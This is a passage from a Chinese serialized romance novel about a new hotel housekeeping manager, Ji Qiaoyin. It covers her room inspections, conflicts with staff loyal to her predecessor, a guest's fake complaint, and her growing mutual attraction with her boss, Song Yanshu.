季悄吟:【宋总放心,我会好好准备的。】
宋雁书:【时间不早了,早些休息吧!】
季悄吟:【晚安,宋总。】
“欧耶!”季经理抱着手机在床上打了个滚,猛地傻笑起来。
上班第一天就这么顺利,这让她对于接下去的任务充满了信心。
***
第二天在上班的路上,季悄吟接到了汪莉女士的语音电话,“悄悄,昨天第一天上班还适应吧?怕你忙,我昨天就没给你打电话。”
她一只手扶方向盘,腾出另一只手戴上蓝牙耳机,“还行。”
“老板和同事都还好吧?”
“挺好的。”
“你别光顾着工作,个人问题也得上心,要是碰到合适的男孩子就主动点晓得没?妈妈在老家这边也会帮你留意的。”
季悄吟:“……”
她就知道母上大人三句不离个人问题。
汪莉女士跟所有传统的长辈一样,读书时防着女儿早恋,等一毕业了就催婚,恨不得女儿马上结婚,最好能三年抱两。
从季悄吟工作后,汪女士就开始催,一直催到现在也没个消停。
她没好意思告诉汪女士,她来青陵就是为了男人。
放心,她一定会主动的。
8. 第8杯酒
第8杯酒
第二天重复第一天的工作,重点准备新加坡旅游团的事项。
连续一周,季悄吟都处于一个极度忙碌的状态,一整天泡在酒店不说,晚上还要加班到很晚。
她适应能力非常强,三天就熟悉了酒店的各项业务,以及客房部的工作。一周以后完全上手。
并且还将前任经理蒋艳遗留下来的问题做了大致的梳理,然后一样一样解决。
从过去那些报告,文字资料、数据,以及员工口中,季悄吟对这位前经理多少有了点认识。毫无悬念,这是一位非常有能力的女性,不论是才干、手段和魄力都没话说,还深受员工爱戴。
一位如此优秀的高管,宋雁书却将人家降职外调了。季悄吟私下打听过,却没打听出内幕。
不过这些都不重要了。一朝天子一朝臣,如今海盛客房部是她季悄吟的天下。别的妖魔鬼怪都得靠边站。
一大早季悄吟抽查客房,陪她的竟是吴佳丽,一身笔挺整洁的服务员制服,精神抖擞。
她的脸上当即闪过几丝讶色,“怎么是你?”
吴佳丽轻轻一笑,“我前台轮完了,今天开始轮客房。从现在开始我就跟着季经理您混了。”
吴佳丽是年初刚进海盛的实习生,所有的实习生会在专人的带领下将前厅、客房、后厨等一应岗位全部轮一遍,最后才转正。
季悄吟抬了抬眼皮,“那别磨蹭了,带上你吃饭的家伙陪我一起去查房。”
“好嘞!””吴佳丽忙拿起纸笔,追上季悄吟的脚步。
两人一起去了7号楼,乘员工电梯上顶楼,先从顶楼的VIP客房开始查起。
“花瓶里的花换一下,栀子花花香太浓郁,怕客人不适应,换成绣球和小雏菊。”
“这台景泰蓝时钟挪个位置,放到显眼的地方去。”
“床单四个角有褶皱,赶紧通知洗衣房换一套!”
“顶灯光线不足,通知工程部抓紧时间来维修!”
……
季悄吟一边指出问题,吴佳丽埋头往笔记本上麻溜记上。
她工作一向细致,连一块地毯都不放过,一定要亲自检查一遍才放心。
见差不多了,她扬起下颌,率先走出了客房,“走吧,下一间!”
走廊里欧式树脂壁灯成排亮着,光线慢慢推移,摇摇晃晃。高跟鞋踏过柔软的地毯,仿佛置身云端,竟没发出任何声响。
吴佳丽面露感激,“季经理,那天谢谢你哦!一直来不及跟你道谢。”
季悄吟脚步微顿,扭头看对方,“谢我什么?”
吴佳丽小脸发红,声音明显低了好几度,“就是那天在前台,你提醒我衣领的事儿。”
她了然一笑,“你们小年轻情到浓时,难免折腾过火,我也能理解。但酒店有酒店的要求,仪容仪表最是重要,有些东西千万别再出现了。”
“季经理你说的我都记住了,以后绝对不会再犯。”
“佳丽,你犯不着谢我,我面试那天你不也帮了我么,咱俩扯平了。”
提起这个吴佳丽不免感慨:“季经理,第一次在前台见到你,我就觉得你好漂亮,气质特好。我和小杨都看呆了当时。那会儿我还当你是哪个明星来着。没想到没过几天你就成我领导了,太神奇了吧!”
季悄吟不由失笑,“人和人之间的缘分就是这么的奇妙啊!”
吴佳丽直点头,笑眯眯道:“谁说不是呢!”
“佳丽,你先回去吧,我去找下周师傅。”抽查完客房,季悄吟还要跑一趟后厨,和厨师长周忠商量一下新加坡旅游团的伙食问题。
“好的,季经理!”吴佳丽蹦蹦跳跳地离开了。
刚刚大学毕业的女孩子,活泼明朗,毫无心事,喜怒哀乐全写在脸上,单纯的像是一张白纸,脸上的笑纯真无邪。
看着吴佳丽脸上的笑,季悄吟仿佛看到了六年前的自己。那会儿她刚进南岱,青春洋溢,活力四射,身上永远有那么一股纯真敢拼的劲儿,每天的工作又累又繁琐,可她依旧乐呵呵的,从不知愁为何物。
凌湫恒说过他就是因为她身上这股子拼劲儿才招她进南岱的。
可是不知道从什么时候开始,这股拼劲儿没了,脸上纯真无畏的笑容也消失了。
不知为何,此刻季悄吟心底竟生出几丝怅然。大概是悼念自己逝去的青春吧!
——
来到后厨,季悄吟没想到宋雁书和程若居然也在。
宋雁书正坐在一旁和厨师长周忠谈事情,姿态闲适,表情放松。
而程若则毕恭毕敬站在一旁,安静地等人。
落地窗外的阳光俏皮地掉进室内,男人整个人陷进朦胧的光影里,轮廓却尤其清晰。白衬衫淌满日光,被晕出浓重的失真感。
眼前俨然就是一幅大师笔下精雕细琢的油画,线条流畅,笔笔精致。
就这样的人间极品,一眼便能捕获他人的目光。
季悄吟不着痕迹地打量几眼,越看越不知满足。若不是碍于旁人在,她必然要一饱眼福不可。
喜欢一个人总有一层浓厚的滤镜,他哪怕什么都不做,只是安静地坐在那里,她都觉得是赏心悦目的。
季悄吟悄悄走上前,轻轻拍了拍程若的肩膀,压低声音问:“程大美人,你搁这干嘛呢?”
见到季悄吟,程若立刻露出笑脸,“过段时间中峻的盛总要入住我们酒店,我正准备找咱们宋总探讨一下接待事项呢!没想到他先来了后厨。我能怎么办,只能等喽!”
她看着季悄吟,“你呢?也来找宋总?”
季悄吟摆摆手,“我来找周师傅。”
“那就先等着吧!这俩估计一时半会儿也说不完。”
她语气惊讶,“这么多事要说啊?”
“可不是么!都说了二十来分钟了。”
程若撩了撩额前散落的一缕刘海,“你怎么样啊悄吟,工作还顺利吗?”
“每天忙得不可开交,连觉都不够睡。”季悄吟摊摊手,一副被虐成狗的可怜模样。
“咱俩难兄难弟,我手头也一堆事儿呢!焦头烂额,头都大了。”程若一见季悄吟就忍不住倒苦水,“以前待在小酒店,每天盼着能进大酒店挣大钱。真进来了,发现这还真不是人待的地儿,太特么累了,整天受虐!”
季悄吟倒是看得很开,笑眯眯地说:“工作嘛,虐着虐着就习惯了。”
程若:“……”
程若的眼角眉梢染上笑意,“还是悄吟你心态好!”
宋雁书和周忠聊完,见两位美女经理都在一旁侯着,想来都是有公事找他。
季悄吟和程若并排而立,几乎是条件反射,他的视线径直投向了季悄吟。眼睛越过大脑,先做出了反应。
这位季经理今天穿了件米白色绸质衬衫,领口系蝴蝶结,露出一小截白皙漂亮的锁骨,莹润透明。
藏青色的制服半裙款式简约,整个人看上去知性漂亮,极其具有职业女性的干练爽利。
明明都是统一规整的工作服,她穿总有与众不同的效果。
他自发走到季悄吟面前,“找我有事儿?”
季悄吟摇摇头,“我找周师傅。”
说完指了指程若,“是程经理找您。”
宋雁书:“……”
程若忙接话:“宋总,我找您聊聊中峻盛总的接待问题。”
年轻的男人闻言点点头,“去我办公室说。”
两人一前一后走出后厨。
季悄吟紧紧盯着那抹瘦削英挺的身影拐过门廊,不见踪迹。
“回神啦季经理!”一旁厨师长周忠双手抱臂,眉眼含笑,忍不住调侃。
他今年四十岁出头,身材发福,挺着啤酒肚,笑起来像是一尊弥勒佛,一团和善。
季悄吟轻咳一声,下意识摸了摸鼻子,煞有其事地说:“程经理真漂亮呐!”
周忠笑得高深,直言不讳,“怕是咱们宋总更帅吧!”
季悄吟:“……”
季悄吟暗自后悔自己刚才表现得实在太明显了,一眼就被周忠给看出来了。一时间小脸微红,耳根发烫。
“季经理你别害羞呀!咱们酒店这些女员工就没人不喜欢宋总的,你又不是第一个。”周忠瞅着季悄吟泛红的耳根,鼓励道:“宋总还单身,你们这些年轻小姑娘都有机会!”
季悄吟:“……”
“周师傅你就别打趣我了,我来找你说说旅游团的伙食问题。”
***
午休过后,季悄吟点了下午茶。
外卖小哥分了两批才把几十杯奶茶送去客房部。
人
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心嘛,该收买还是要收买的。至于成效如何,季悄吟并不在意。
她扬声招呼道:“这段时间大家辛苦了,我请大家喝下午茶。”
“谢谢季经理!”众人面露喜色,一人一杯陆续拿走。
最后还剩两杯杨枝甘露,季悄吟挑了其中一杯拿给何君,“何领班,这几天你一直陪着我忙前忙后的,真是辛苦你了。”
何君笑着接过,“季经理太客气了,这本就是我的工作。”
“不管怎么说,还是要谢谢你。没你的协助,我没那么快上手。”季悄吟由衷感激。
分完奶茶,她踩着高跟鞋回了办公室。
望着季悄吟离去的身影,何君捏住吸管,低头吸了一口。
杨枝甘露倒是她喜欢的。
服务员王英面露不屑,凑到何君耳旁吐槽:“君君你看看,这位一上来就收买人心了。都是以前蒋经理玩剩下的那套。”
何君闻言不由皱眉。
她冷声道:“王姐,喝着人家的奶茶就少说两句。你要是有意见,大可不喝。”
王英瘪瘪嘴:“不喝白不喝。”
***
新加坡的一个高级旅游团,全团三十六人,浩浩汤汤,都是冲着江南美景来的。
这算是短期内海盛的大事儿。也是客房部的大事儿。
宋雁书特意在微信里跟季悄吟提了旅游团的事儿,看上去十分重视。又像是故意给她布置任务,考验她的能力。
季悄吟总得卖力把任务做好。
她准备充分,顺利完成。
当天中午,和和美美地送走旅游团,季悄吟暗自松了口气。
旅游团离开的那天,季悄吟值晚班。
她一个人在酒店的各栋楼里跑来跑去,又是抽查员工服务,又是填写检查报告的。
很累,但也充实。
好不容易忙完,她披上一件大衣去了2号楼自带的后花园。
2号楼是中式客房,花园里草木葱郁,亭台楼阁,假山喷泉,满目繁华。
倒春寒,夜间气温极低,寒意四下流窜,如影随形。
冷风一吹,季悄吟的脑子这才获得了短暂的清醒。终于不那么累了。
她坐到凉亭底下,脱下了高跟鞋,解放自己的双脚。
五厘米的高跟鞋穿在脚上穿了一整天,脚踝和脚趾无不透着酸疼。
人忙起来就不会感到困。可一旦闲下来,那真是完全扛不住困。困意汹涌澎湃,直逼而来。
她靠着凉亭的柱子,一不小心就打起了盹。
——
宋雁书来到凉亭时,远远就看到季悄吟靠着柱子,整个人趴在上面,俨然就是一只笨拙的树袋熊。
凉亭旁随意悬挂几盏禅意佛手灯,灯光从四面八方汇聚而来,轻轻淌过她衣裳,一半载满昏黄,一半陷入幽暗。
她清秀漂亮的脸上无不写满疲惫。双目微阖,表情慵懒,昏昏欲睡。
宽松的大衣罩在制服外面,将她的身形愈发衬得玲珑娇小。那么小小的一团,瑟缩在一起,模样楚楚可怜。
根据酒店的规定,客房经理值晚班时,是可以到前台开一间客房供自己休息的。这姑娘不去客房休息,反倒跑来凉亭打盹,也是新奇。
三月初的天气可一点都不暖和,尤其还是在夜间,气温直降,寒意丝丝入骨。她怎么一点都不怕感冒的?
如果被外人看到,该说他们海盛苛待员工了。
很奇怪,酒店这么大,以往除去每天的晨会,一天之中宋雁书基本见不到客房部经理。除非特别召见。
可自打季悄吟出任海盛的客房部经理以后,他总能在酒店的各个地方见到她。有时是大堂,有时是电梯,亦或是客房和花园。
她小小的身影总是不断奔忙,拿着对讲机说话;微笑着向客人答疑解惑;带着手底下的服务员抽查客房;甚至亲力亲为地去检查走廊上的一块地毯。
这种感觉实在太神奇了。好像自打殡仪馆见过一面以后,这过后的许多日子他总能频繁见到她。
也不知是凑巧,还是她总是格外吸引他的目光。
思及此,宋雁书的心思微妙地转了转,像是晚风拂过海面,吹皱了海水,飘起了涟漪。
不带任何迟疑,他掐灭手中的烟,信步朝凉亭里的那个人走去。
9. 第9杯酒
第9杯酒
季悄吟倒也没完全昏睡过去。她睡得很浅,尚有知觉,也一直留心着周围的动静。
熟悉沉稳的脚步声一响起,她的双耳便成功地捕捉到了。
倏然睁眼,同样熟悉的面孔早已近在咫尺,一股淡淡的木香萦绕在鼻尖,纠缠她的呼吸。
而此刻男人的手正垂在半空中,不知道要做些什么。
“宋总!”她猛地一惊,霍然起身。
动作太过仓促,连鞋也忘记去穿,赤脚踩在水泥地面上,一股冰凉的触感迅速渗透皮肤,攀延上脚心,震得她忍不住皱了皱眉。
女人的这双脚可真漂亮,脚趾圆润透明,指甲修剪得干干净净,车厘子红的指甲油鲜艳欲滴。犹如坠入莹润白玉里的一滴血,格外醒目。
古时女子最是看重一双纤纤玉足,若是被陌生男子看了去,那可是要以身相许的。
现代人当然不似古代人那般古板守旧,但女人的脚落到男人眼中,总归还是带了点别的色彩。
男人目光如炬,半晌未曾移开。
季悄吟察觉到,脸色一慌,赶紧把高跟鞋穿上。
下一秒就扯出甜美的微笑,佯装淡定,“宋总,您怎么在这儿?”
“我出来抽根烟。”宋雁书不着痕迹地收回自己的手,音色平淡无波,“本想叫醒你的,晚上这么冷,别在这里睡,容易感冒。”
季悄吟抬手揉揉酸涩的双眼,嗓音明显透着一股倦意,“没想在这里睡,就是有点犯困。”
说完又俏皮地笑起来,“您可别扣我工资呀!”
不笑时明明是个清冷佳人,可一笑起来又明艳灿烂,像个发光发热的小太阳。她的笑容似乎有种神奇的魔力,能够轻易驱散掉旁人所有的疲惫。
就她这样的笑容,任凭再难缠的客人在她面前应该都发作不了吧!
宋雁书静看她,一抹微笑在唇角缓缓绽放,“我是那种苛刻的老板?”
季悄吟笑着摇摇头,“那倒不是。”
“值班很累?”
她实诚地点点头,“有点。”
“你以前在南岱有这么累么?”
“差不多的。只不过我现在刚入职,很多事情还没上手,等上手以后,应该就不会这么累了。”
“这么晚了您怎么还不下班啊?”
“今晚歇在酒店。”
季悄吟“呀”了一声,“那我得赶紧安排人给您收拾房间。”
宋雁书在9号楼顶层有一套常备的总统套房,只不过他平时很少住而已。
一般他要入住,常助理都会提前通知客房部安排。
而今天,季悄吟并未收到常助理的通知。
“太晚了,别折腾员工了,随便开个房间吧!”
季悄吟眉眼弯弯,笑意盛满眼窝,眼尾透着光,“宋总,您太为员工着想了。”
宋雁书但笑不语。哪里是为员工着想,分明是为她着想。省得她大晚上还跑来跑去。
两人在凉亭安静地待了一会儿,季悄吟还得继续值班。
她拢紧身上的大衣,轻声开口:“宋总,我要回去值班了。您现在要休息吗?我去给你安排客房。”
男人闻言轻轻点头,“辛苦季经理了。”
两人并排往回走。
花园寂静,四周悄然蓄起了潮气,月亮昏昏欲睡。
曲径通幽,路灯暗淡昏黄,光线千束万束。
两人踏着路灯往回走。灯火被琉璃灯罩分割,变得细碎,从季悄吟的耳际、眉心、脑门逐一擦过,最后落在她乌黑的发顶,似有晶莹雨露凝结在上方。
宋雁书在她右耳耳侧看到了一枚鱼尾发夹,一串珍珠在暖橙的灯下莹润剔透。
走到巉峻的假山旁,两人的身形完全被遮挡住,在地上投下狭长静谧的影子。
宋雁书突然拉了下季悄吟的手腕,对她做出噤声动作。
她心中一怔,不免停下脚步。
无意偷听别人讲话,却委实听到了一些不该听的。
两个女声,一重一轻,一个年轻,一个老成,断断续续的说话声从假山后面传来,被夜风送进耳中,清晰异常。
“蒋经理明明那么好,可宋总却要将她降职外调,再招进来一个劳什子经理,二十七岁的黄毛丫头,她懂什么呀她?比起蒋经理差远了!”
“雅茹,我还听说这季悄吟做三,被原配逼得辞职,在南岱混不下去了,才跑来我们海盛的。渍渍渍,真是了不得哦!”
“王姐,这话你千万别乱说哦!”
“我哪里乱说了,这是真的好不啦!我宛丘有个亲戚就在南岱工作的,她亲口跟我说的,这还有假?”
“最可怜的是咱们君君,本来最有希望升经理的,这个季悄吟一来,完全没戏!你说君君得多憋屈呀!兢兢业业为酒店工作这么多年,到头来全为他人做嫁衣裳!”
“王姐,这话你也就跟我抱怨抱怨,千万别在何领班面前说,她本来就够难受的了……”
“走吧王姐,该进去了……”
……
很快声音远去了,不见踪迹。
季悄吟多少有些尴尬,毕竟她就是被人议论的那个。而且宋雁书就站在自己跟前。
从南岱离职她自问问心无愧,可没想到流言难尽,还是传到了海盛。
她弱弱张口:“那个宋总……”
宋雁书明显不在意,截住她话:“不用解释。”
季悄吟:“……”
季悄吟哑然失笑,“我没想解释,是您拽着我手……”
别人爱说什么说什么,她根本就不在意,连解释都不屑。
宋雁书这才后知后觉地意识到自己还抓着季悄吟的手腕没放。隔着衣袖,那么纤细的一只,他似乎能感受到衣料下皮肤的某种温热。
他赶紧松开,“抱歉。”
走进电梯间,季悄吟主动摁了上行键。
没过一会儿,电梯下降到一楼。
宋雁书先跨进电梯,季悄吟紧随其后。
机器运转的声响在清冷寂静的空间里显得尤其清晰,声声入耳。
男人率先打破了一室沉寂,“季经理,客房部的人你使唤不动?”
季悄吟赶紧摇头,“不会。”
“要是真碰到那么一两个使唤不动的,该开就开,不必留情面。”
“我有数的宋总。”
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“何君是不错,但担任客房部经理还不够格。何况,她和她的师父太像了。她如果是个聪明人,她就应该清楚这点。”
“嗯。”季悄吟盯着面前不断跳转的红色数字,有些犹豫,不知道该不该开口。
男人有所察觉,“有什么话就说吧!”
“我翻看过之前蒋经理的报告,也从员工中了解过一些,她各项能力都没得说,深受手下人爱戴,您为什么还要将她降职外调?”
“季经理这么聪明,难道真的猜不到吗?刚才的情形你也看到了。”宋雁书微微眯了眯眼,温淡的目光汇聚一团,视线范围内,电梯镜面上映出年轻女人匀称窈窕的身材,露在短裙外的两条腿纤细修长,脚踝莹莹如白玉。
他冷不丁又想起了刚才的那双纤纤玉足。
季悄吟默然垂首,“我明白了。”
前经理蒋艳不论是决策力还是执行力她都非常强,单论能力,她几乎在季悄吟之上。但她不够心狠,也太护犊子,导致客房部老人报团严重,新人融不进去,海盛需要的是一个合格冷漠的高管,而不是员工的保/护/伞。
至于何君,她是蒋艳一手带出来的人,在管理方面难免会步蒋艳后尘。且不论她自身能力还不够,就算够,宋雁书照样不会让她上.位。不为别的,就为客房部不能出现第二个蒋艳。
季悄吟终于明白宋雁书招她进海盛的原因了。
***
第二天整个酒店的员工都惊呆了。宋雁书昨晚居然没有住进9号楼顶层的总统套房,而是歇在普通的VIP客房。
早晨客房部开完会,吴佳丽姑娘忙不迭逮住季悄吟开问:“季经理,昨晚咱们宋总真没住顶层总统套房?”
季悄吟手里捏着一只黑色签字笔,在一张检查单上勾勾画画,听见吴佳丽的话,下意识“嗯”了一声,温声道:“还是我帮宋总开的房间,8号楼9109客房。”
“天呐,咱们宋总这是怎么了呀?连总统套房都不住了呀!”
“宋总说太晚了,省得让员工收拾总统套房。”
“哇塞,咱们宋总也太体贴咱们客房部了吧!呜呜呜,好感动!”
“季经理,自从您来海盛以后,宋总对咱们客房部都优待多了。您真是我们客房部的福星!”
季悄吟:“……”
她催促道:“行了别拍马屁了,赶紧工作吧!”
“收到!”吴佳丽立即精神抖擞,化身合格搬砖人。
临出会议室,还递给季悄吟一袋威化饼干,笑嘻嘻地说:“给您垫肚子,我看您忙起来都来不及吃饭。”
小姑娘的好意,她欣然接受。
这时对讲响起,传来一个年轻焦急的女声,险些快哭了,“季经理,6号楼2203客房有客人投诉。”
季悄吟:“……”
还真是一刻不得闲!
她忙问:“怎么回事?”
“客人说浴缸有异味。”
“那就给客人换房间。”
“已经换了好几个了,都不满意,嚷嚷着要投诉。”
得,又是一个难缠的客人!
她沉声撂下话,“先安抚客人,我马上过去。”
10. 第10杯酒
第10杯酒
季悄吟不敢耽搁,踩着高跟鞋飞奔至2203客房。
2203客房的客人是一位中年女人,四十来岁,长了一张不好对付的脸,面相刻薄。
而负责2203客房的是服务员张雅茹,一个二十二的姑娘。
小姑娘脸皮薄,面对难缠的客人,眼角微红,一副委屈巴巴的样子,着实可怜。
一见到季悄吟,像是见到了救星,一把扑过去,“季经理你来啦!”
季悄吟递给她一个安抚的眼神,示意她往角落里站。
然后迈开步子走上前,扬起无懈可击的职业微笑,“赵女士你好,我是客房部经理季悄吟,您有什么诉求请跟我说。”
赵女士双手抱臂,立在床边,轻蔑地打量两眼季悄吟,“你就是经理?”
季悄吟垂下眼帘,“是。”
女人一把攥住季悄吟,将人往卫生间带,“既然你是经理,来,你来闻闻这个浴缸是不是有一股霉味?这小姑娘还一个劲儿说没味道,真当别人鼻子失灵呀!”
季悄吟凑近浴缸,仔细闻了闻,并没有闻到赵女士所说的霉味。
但客人既然说有,那就是有的。顾客是上帝,不管怎样都得顺着顾客的意思。
“赵女士您请放心,我们酒店的浴缸都是经过高温消毒的,卫生这块您大可放心。只是近来阴雨连绵,室内难免会有点潮气。您看这样好不好,您是商务大床房,我给您升个房型,换成豪华大床房如何?”
一听升房型,这位赵女士的脸色总算有点缓和了。她趾高气扬地抬了抬下巴,“那就换吧!”
季悄吟立刻抽调出一间豪华大床房,亲自将赵女士迎进去。
“赵女士,您再闻闻这间客房的浴缸,看看还会不会有异味。”
赵女士走进浴室,象征性地闻了闻,冷声说:“可以了。”
季悄吟态度恳切,“实在抱歉赵女士,由于我们的失误,给您造成了不好的入住体验。”
赵女士忙不迭把人轰出门,“你们可以走了,我要休息了。”
季悄吟颔首微笑,“祝您入住愉快!”
下一秒客房门利落地合上。
季悄吟脸上的笑容光速卸掉,眼神淡漠。
张雅茹不解地问:“季经理,浴缸真有异味吗?”
季悄吟挑了挑眉梢,没好气地说:“哪里有味道,碰瓷罢了,想升房型。”
张雅茹:“……”
难怪换了个好几个房间都不满意,非得投诉。敢情是想碰瓷。
张雅茹冷冷一笑,忍不住吐槽:“既然都舍得住五星级酒店,还不舍得花那几块钱升房型啊?住不起贵的,你就去住便宜的嘛!干嘛来碰瓷呀!”
她摆摆手,“行了,少说两句,工作去吧!”
——
解决完,季悄吟继续抽查客房。
18层一整层楼的客房都是服务员王英负责的。
王英今年三十五岁,单身离异,家里有个七岁的女儿,正在读小学一年级。
她穿着米色工作服,傲慢地立在一旁。脸上没有任何见到顶头上司该有的恭敬。
季悄吟倒也没为她的傲慢无礼而感到生气。她知道王英不待见自己,毕竟她可是何君的表姐。在她眼里,就是自己抢了何君的经理职位。
她半蹲在地上,正在抽查客厅的地毯。
上好的新疆羊绒地毯,素净的蓝白条纹,给人一种沉稳安静的感觉。
季悄吟将地毯翻了个面,从中抽出一根纤长的头发丝,沉声开口:“王姐,地毯换一张。”
王英不为所动,满不在乎道:“一根头发丝而已,拿掉就行了,犯得着重新换一块地毯么?”
谁知下一秒季悄吟又从地毯上找出第二根头发丝,眼神平静,“王姐,现在你还坚持这块地毯不用换吗?”
王英:“……”
王英立在原地,脸色不悦。
“VIP客房意味着什么?意味着无尘,洁净,完美无瑕,一根头发丝都容不下。”
“我马上就换。”王英只好干巴巴地应下。
检查完客厅,季悄吟推开了露台的门。
酒店临江,门一开,春风携裹湿寒呼呼扑过来,让她冷不丁打了个寒颤。
女人纤细的手指轻轻刮过露台的玻璃门,指腹处浮出一点浅浅的黑印子。
她皱了皱眉,转头看向王英,“王姐,玻璃再擦一遍。”
王英不情不愿地垂眸,“好的,季经理。”
季悄吟登记好抽查报告,利落合上。温淡无波的目光转到王英脸上,语气微沉,“王姐,我知道你是酒店的老人,工作好些年了,我也尊重你是前辈,跟其他人一样喊你一声王姐。但说到底我是客房部的经理,我有权监督你的工作。”
弦外之音就是:别跟我摆脸色,摆正你自己的位置!
一口气说完季悄吟头也不回地离开了客房。留下王英僵在原地,脸色青一阵红一阵。
王英泄愤一般地拎起那块地毯,重重丢在地板上,暗骂道:“一个破经理嘚瑟什么!”
——
抽查完客房,季悄吟马不停蹄地回到办公室。
早餐就啃了两口三明治,这会儿胃里空荡,饿得慌。
她拆了吴佳丽早上拿给她的那包威化饼干。蓝莓味的,有点甜,但还可以接受。
吃了几块她就转手放进抽屉。甜食虽好,但切记贪食。
喝了几口温水,解了嘴里的甜味儿。季悄吟开始翻阅起中峻总裁盛延熙的资料。
两周后这位大人物即将带着太太入住酒店。这是近期内海盛最大的一个钻石VIP客户,一点差错都出不得。
——
中午季悄吟和吴佳丽在员工餐厅吃饭。
自从这姑娘调到客房部以后,她好像就缠上她了。每天吃饭总要拉她一起。
季悄吟倒也不反感,她自小就是一个人,全当多一个妹妹了。
何况吴佳丽这姑娘俨然就是行走的八卦机器,酒店任何一点风吹草动都逃不过她的耳朵。转头就能跟季悄吟八卦半天。
有这活宝在,季悄吟也不愁没乐子。
两人打完饭菜,找到位置坐下。正好碰到何君端着餐盘在找座位。
季悄吟主动站起来,指了指身旁的空位,“何领班,不如一起坐吧?”
何君笑了笑,婉拒:“不用了季经理,我们坐一旁就好了。都是男生,吃饭没个吃相,怕吓到季经理。”
她这才注意到何君身后跟了三个男生,都是客房部的管家,还有两个服务员王英和张雅茹。
职场如战场,任何一个地方都有小团体。客房部自然也不例外。
季悄吟是空降兵,彻头彻尾的新人,跟何君为首的老人们完全混不到一块去。
不过她并不觉得这有什么坏处。她一向独来独往惯了,反而非常享受独处空间。何况如今有个吴佳丽给她解闷,倒也并不孤单。
只要这些老人们在工作上不给她找不痛快,很多时候她是不会在意这些细节的。
待何君等人坐下,吴佳丽远远收回目光。有些同情第看着对面的季悄吟,“季经理,你现在特像光杆司令。”
季悄吟被吴佳丽这个称呼给逗笑了,“哪有这么恐怖!”
“你没来之前,我们都在传何领班会是下一任的客房部经理。客房部所有人中,就她最有资历。可惜万万没想到咱们宋总这次没从客房部内部选拔,直接对外招聘。何领班肯定对你有意见。”
“何领班人不错,工作也负责。她对我有没有意见我无所谓,只要她做好本职工作,配合好我就够了。”
***
季悄吟和吴佳丽在议论何君的同时,何君等人也在议论这位新经理。
“看看这吴佳丽的一脸谄媚样,刚调到客房部没两天就抱上季经理的大腿了,我今天早上还看到她给季经理送饼干。几块钱一包的玩意儿,也好意思拿出手。”王英是个心直口快的女人,在何君面前一向没个忌讳,想到什么就说什么。
“王姐,您别这么说吴佳丽,人家挺好的,做事也认真。”张雅茹听不下去了。
管家驰瑞也帮腔,“就是啊王姐,人吴佳丽这姑娘真挺不错的,不管见到谁都满面笑容,很好打交道。”
王英斜了两人一眼,“你俩才几岁,你们懂什么?这种人不是没心没肺,缺根筋,就是心机深沉,你俩都别被骗了。
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”
张雅茹:“……”
驰瑞:“……”
“依我看咱们这位季经理心思也深着呢!表面看着春风化雨,和气亲切,背后指不定憋着什么坏呢!”
“真是一朝天子一朝臣,当初蒋经理还在的时候,咱们哪里会像现在这么苦逼。你看看这位季经理多变态,连地毯反面的一根头发丝都不放过。你再看看现在客房的玻璃有多亮,亮得都可以当镜子使了。”王英越说越来气,圆润的脸都变形了,“蒋经理走了也就罢了,咱们君君还升不了经理,君君明明这么有能力!”
张雅茹小心翼翼地瞧一眼对面的何君,赶紧用手碰了碰王英的手肘,压低声音说:“王姐,你少说两句。”
王英不为所动,自说自话,“我说错了吗?本来就是季悄吟抢了咱们君君的位置。要不是宋总外聘,君君早就是经理了。”
何君握紧筷子,脸一沉,冷声道:“王姐,不要说了。”
王英:“君君,我是替你打抱不平呀!本来就该是你的东西,就这么被别人抢走了,我气呀!”
“什么叫本来?”何君没好气地说:“宋总明确表示过客房部经理是我了吗?”
王英瘪瘪嘴,“我这不是心里不舒服,抱怨两句嘛!”
“少抱怨,多做事。以后这样的话不要再提了。”
***
一转眼,季悄吟入职海盛已经一个月了。
这一个月忙碌,却也充实。
阳春四月,天气渐渐暖和起来。外头爱美的姑娘早早穿起了漂亮的春装。遇到天热的时候,一个两个纷纷换上短袖短裙,无比清凉。
季悄吟一年四季都是制服。也只有下班和轮休时才能穿穿自己的衣服。所以她一般很少给自己买衣服。基本上买一次能穿一季。
程若还一直调侃在酒店工作,连买衣服的钱都省了一大笔。
谁说不是呢!
季悄吟想想自己上一次购物好像都是过年期间的事儿。她陪汪莉女士买年货,顺带逛了逛商场,买了两件衣裳。
又是一个傍晚。
春雨绵绵,整座城市隐匿在大片迷潆水汽中,潮湿黏腻得厉害。
季悄吟难得没有加班,到点下班。
她去更衣室换下制服,穿上自己的衣裳。
一条雪纺碎花连衣裙,七分泡泡袖,深V领,裙摆点缀一圈细小的荷叶边,细节处堪称完美。外搭一件竹青色的针织马甲,马甲正中间镶嵌一排木质纽扣,纽扣的纹路清晰又温淡。
这套衣服其实蛮挑人的,一般人穿绝对是大型灾难现场。然而季悄吟身形高挑,皮肤白皙,人也纤瘦,脸蛋又漂亮,她轻松就能驾驭。
走到酒店外等车。她在叫车软件上叫了车。
雨天,城市道路容易堵车。她叫的车迟迟不到。
她的小polo被她送去保养了,这两天她一直打车上班。
一手撑伞,一手捏手机,时不时摁亮屏幕,看看司机师傅到哪儿了。
清凉的夜风携裹潮湿的水汽兜头吹来,一阵连一阵的寒凉直直渗进皮肤里。
小腿肚裸.露在空气里,湿湿冷冷的。
她忍不住抱紧发凉的手臂,突然有点后悔穿裙子了。好看是好看,就是不抗冻。
季悄吟跺着脚往路边一个劲儿的看。都快成“望车石”了,恨不能下一秒就能看到她叫的车。
等了约摸十分钟,她的订单竟被司机给取消了。对方给出的理由是雨天路滑,路上太堵,赶不过去。
季悄吟真是一口老血卡在胸口下不去,憋闷得厉害。
正打算在叫车软件上重新下单,堪堪敲完字,还来不及下单,就听见身后一串突兀刺耳的喇叭声。
耳膜一震,条件反射地往后探一眼,一辆黑色宾利径直朝自己驶来。然后及时泊在她脚边。
雨刮器扑腾作响,挡风玻璃上水渍时多时少。车身一片澄亮,线条精致又流畅,在夜雨迷离的傍晚悠悠泛着冷光。
这车季悄吟一点都不陌生,车牌号她都能背下来了。
后座车窗迅速降下来,露出一张精致完美的面容,音色深醇动听,犹如涓涓细流缓缓淌进耳中,“季经理,去哪儿?我送你!”
11. 第11杯酒
第11杯酒
黑色宾利从停车场缓缓滑出时,远远就有一道俏绿闯入宋雁书的视线——酒店门口站着一个年轻的女人。
娉婷婀娜的身影,微卷的黑色长发,碎花裙,细高跟,在这个雨雾浓稠的夜晚形成强烈的视觉冲击,仿佛一副不期而遇的美人图,寥寥数笔,落笔含糊,却足够惊艳。
宋雁书几乎一眼就认出了是谁。
而宋助理透过风挡比宋雁书更早看清了女人的脸。
